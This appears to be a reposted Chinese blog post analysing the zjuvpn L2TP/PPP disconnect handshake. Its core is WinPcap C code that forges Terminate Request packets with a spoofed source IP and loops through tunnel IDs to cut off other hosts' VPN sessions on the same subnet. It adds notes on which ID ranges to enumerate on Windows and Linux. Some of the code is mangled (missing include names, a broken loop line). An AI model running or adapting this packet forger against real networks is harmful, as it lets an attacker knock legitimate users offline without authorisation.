某天无聊抓包的时候研究了下zjuvpn的连接和断开过程,应该来说是典型的PPP协议的握手、验证与建立过程,但断开vpn时的流程引起了我的兴趣。
通过可以清楚的发现是通过服务器向客户端发送Terminate Request而生效。而对于没有加密的vpn来说,我们可以任意地伪造一个有效的数据报,当然也可以伪造Terminate Request来中断指定主机的vpn连接。它的验证方式也非常简陋,只通过Tunnel Id和Session Id来判断。这就给了我们下手的空间,枚举tunnel id Session id 然后以此发送数据报即可。
那如何实现又是一个问题,libnet由于很早之前已经停止了更新感觉用起来不靠谱,windows raw socket又限定了发送者ip使得我们不能任意指定ip头的地址,于是就采用winpcap实现。
核心流程是根据协议格式构造数据报,然后调用pcap_send_packet来发送数据报。执行后指定ip的机器vpn会被断开。当然由于路由器的转发所限只能用于一个子网下。如果可以找到不绑定ip源和mac地址的路由也可以将其用于跨子网。
关键代码:
#define HAVE_REMOTE #include #include #include #pragma comment(lib, "wpcap.lib") #include #pragma comment(lib, "Ws2_32.lib") //typedef void(* pcap_handler)(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) void my_pcap_handler(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data); #define ETHER_ADDR_LEN 6 //from linux's ethernet.h #define ETHERTYPE_PUP 0x0200 /* Xerox PUP */ #define ETHERTYPE_SPRITE 0x0500 /* Sprite */ #define ETHERTYPE_IP 0x0800 /* IP */ #define ETHERTYPE_ARP 0x0806 /* Address resolution */ #define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */ #define ETHERTYPE_AT 0x809B /* AppleTalk protocol */ #define ETHERTYPE_AARP 0x80F3 /* AppleTalk ARP */ #define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */ #define ETHERTYPE_IPX 0x8137 /* IPX */ #define ETHERTYPE_IPV6 0x86dd /* IP protocol version 6 */ #define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */ struct ether_header{ u_char ether_dhost[ETHER_ADDR_LEN]; u_char ether_shost[ETHER_ADDR_LEN]; u_short ether_type; //如果上一层为IP协议。则ether_type的值就是0x0800 }; char* prase_ether_host(u_char ether_host[ETHER_ADDR_LEN], char* buffer); struct ip_header //小端模式__LITTLE_ENDIAN { unsigned char ihl:4; //ip header length unsigned char version:4; //version u_char tos; //type of service u_short tot_len; //total length u_short id; //identification u_short frag_off; //fragment offset u_char ttl; //time to live u_char protocol; //protocol type u_short check; //check sum u_int saddr; //source address u_int daddr; //destination address }; struct tcphdr //小端模式__LITTLE_ENDIAN { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; u_int16_t window; u_int16_t check; u_int16_t urg_ptr; }; struct udp_header { u_int16_t source; /* source port */ u_int16_t dest; /* destination port */ u_int16_t len; /* udp length */ u_int16_t checkl; /* udp checksum */ }; char* uint_to_addr(u_int addr); u_int16_t in_cksum (u_int16_t * addr, int len) { int nleft = len; u_int32_t sum = 0; u_int16_t *w = addr; u_int16_t answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { * (unsigned char *) (&answer) = * (unsigned char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); } struct L2tp_header //定义udp头部 { u_short PacketType; u_short TunnelId; u_short SessionId; u_char Address; u_char Control; u_short ProtocolType; u_char code; u_char identifier; u_short length; }; char* device = "//Device//NPF_{06864041-9387-44DC-AF44-37779B0F2E9E}"; pcap_t* adhandle = NULL; char errbuf[PCAP_ERRBUF_SIZE] = { 0 }; void main() { char buffer[64] = { 0 }; ether_header* pether_header = (ether_header*)buffer; ip_header* pip_header = (ip_header*)(buffer + sizeof(ether_header)); udp_header* pudp_header = (udp_header*)(buffer + sizeof(ether_header) + sizeof(ip_header)); L2tp_header* l2tp_header = (L2tp_header*)(buffer + sizeof(ether_header) + sizeof(ip_header)+sizeof(udp_header)); //源MAC地址 pether_header->ether_shost[0] = 1; pether_header->ether_shost[1] = 2; pether_header->ether_shost[2] = 3; pether_header->ether_shost[3] = 4; pether_header->ether_shost[4] = 5; pether_header->ether_shost[5] = 6; //目的MAC地址 pether_header->ether_dhost[0] = 0x00; pether_header->ether_dhost[1] = 0x26; pether_header->ether_dhost[2] = 0x9e; pether_header->ether_dhost[3] = 0x27; pether_header->ether_dhost[4] = 0xe6; pether_header->ether_dhost[5] = 0x1f; //l2tp段赋值 l2tp_header->TunnelId = htons(5); l2tp_header->SessionId = htons(1); l2tp_header->Address = 0xff; l2tp_header->Control = 3; l2tp_header->ProtocolType = htons(0xc021); l2tp_header->code = 5; l2tp_header->identifier = 0x99; l2tp_header->length = htons(4); l2tp_header->PacketType = htons(2); pether_header->ether_type = htons(ETHERTYPE_IP); assert((sizeof(ip_header) % 4) == 0); //ip头赋值 pip_header->ihl = sizeof(ip_header) / 4; pip_header->version = 4; pip_header->tos = 0; pip_header->tot_len = htons(sizeof(buffer) - sizeof(ether_header)); pip_header->id = htons(0x1000); pip_header->frag_off = htons(0); pip_header->ttl = 0x80; pip_header->protocol = IPPROTO_UDP; pip_header->check = 0; pip_header->saddr = inet_addr("10.5.1.7");// pip_header->daddr = inet_addr("x.x.x.x"); pip_header->check = in_cksum((u_int16_t*)pip_header, sizeof(ip_header)); //构建UDP数据头; pudp_header->dest = htons(1701); pudp_header->source = htons(1701); pudp_header->len = htons(sizeof(buffer) - sizeof(ether_header) - sizeof(ip_header)); pudp_header->checkl = 0; pcap_if_t *alldevs; pcap_if_t *d; int inum; int i=0; pcap_t *adhandle; char errbuf[PCAP_ERRBUF_SIZE]; /* Retrieve the device list */ if(pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf); exit(1); } /* Print the list */ for(d=alldevs; d; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)n", d->description); else printf(" (No description available)n"); } if(i==0) { printf("nNo interfaces found! Make sure WinPcap is installed.n"); return ; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("nInterface number out of range.n"); /* Free the device list */ pcap_freealldevs(alldevs); return ; } /* Jump to the selected adapter */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); /* Open the device */ /* Open the adapter */ if ((adhandle= pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture. // 65536 grants that the whole packet will be captured on all the MACs. 1, // promiscuous mode (nonzero means promiscuous) 1000, // read timeout errbuf // error buffer )) == NULL) { fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return ; } while(1){ for(u_char i = 0;i TunnelId = htons(i); if(pcap_sendpacket(adhandle, (const u_char*)buffer, 64) == -1) { printf("[pcap_sendpacket error]/n"); return; } Sleep(1000); } } }
由于不计算udp校验和,于是就不需要udp伪头部,只需要计算ip校验和。这个必须保证正确,因为udp校验和可以被设为0相当于关闭掉,而ip校验和错误的话会被接收方协议栈直接丢弃掉。
在windows环境下vpn握手方式使得Tunnel id只会在每次重连时加一,也就是说可以认为数值范围基本在1-20之间,对于terminate request来说session id只会为1。而linux下则有所不同,根据实验可以看出linux下的terminate报文 tunnel id是一个五位数的随机数,这大大增大了枚举的难度…
参考:http://blog.csdn.net/liqinghua1653/article/details/4058041
FROM :https://blog.flanker017.me/ | Author:Flanker
redis安全学习笔记 Table of Contents redis安全学习笔记 基础 redis连接命令 设置键值对: 取出键值对: 获取配置 编辑配置 数据类型 String(字符串) Hash(哈希) List(列表) Set(集合) z…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论